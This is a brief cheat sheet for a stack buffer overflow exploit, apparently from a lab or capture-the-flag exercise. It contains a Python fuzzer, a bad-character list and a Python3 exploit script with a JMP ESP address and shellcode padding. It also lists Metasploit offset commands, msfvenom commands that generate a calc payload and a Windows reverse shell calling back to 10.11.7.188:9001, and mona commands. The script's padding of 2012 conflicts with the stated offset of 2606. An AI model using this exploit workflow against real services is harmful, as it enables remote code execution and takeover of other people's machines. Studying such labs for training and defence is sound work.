Buffer OverFlow

Example Code Python2

import sys, socket, time host = sys.argv[1] port = int(sys.argv[2]) length = 100 while (length < 3000): client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client.connect((host, port)) client.recv(1024) client.send("USER " + "A" * length) client.recv(1024) client.send("PASS pass") client.recv(1024) client.close() time.sleep(2) print "Length Sent: " + str(length) length += 100 badchar = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" "\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20" "\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30" "\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40" "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50" "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60" "\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70" "\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80" "\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90" "\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0" "\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0" "\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0" "\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0" "\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0" "\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0" "\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

Example Code Python3

#!/usr/bin/env python3

import socket


# [*] Exact match at offset 2606

HOST = '10.10.76.44'
PORT = 9999

jmp_esp = b'\xdf\x14\x50\x62'

UserName = b"james + \n\r"
buf = b"A" * 2012
buf += jmp_esp
buf += b"\x90" * 32
buf += shell_code
buf += b"\x90" * (3000 - 2012 - len(jmp_esp) - 32 - len(shell_code))
buf += b"\n\r"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
print(f"Conneted to {HOST} on port {PORT}")
p = s.recv(1024)
print(p)
s.send(UserName)
print(f"Sent Username: James")
s.recv(1024)
s.send(buf)
print("Sent the buffer")
s.close()
print("Completed!")

Calculating the Offset

# Create the unique pattern
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000

# Find the offset value
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 2700 -q 39694438    

Calculator Shellcode

msfvenom -p windows/exec EXITFUNC=thread CMD=calc.exe -b "\x00" -f python -v shell_code  

Generating Shellcode

msfvenom -p windows/shell_reverse_tcp EXITFUNC=thread LHOST=10.11.7.188 LPORT=9001 -b "\x00" -f python -v shell_code   

Mona Commands

# Find modules
!mona modules

# Find JMP ESP
!mona jmp -r ESP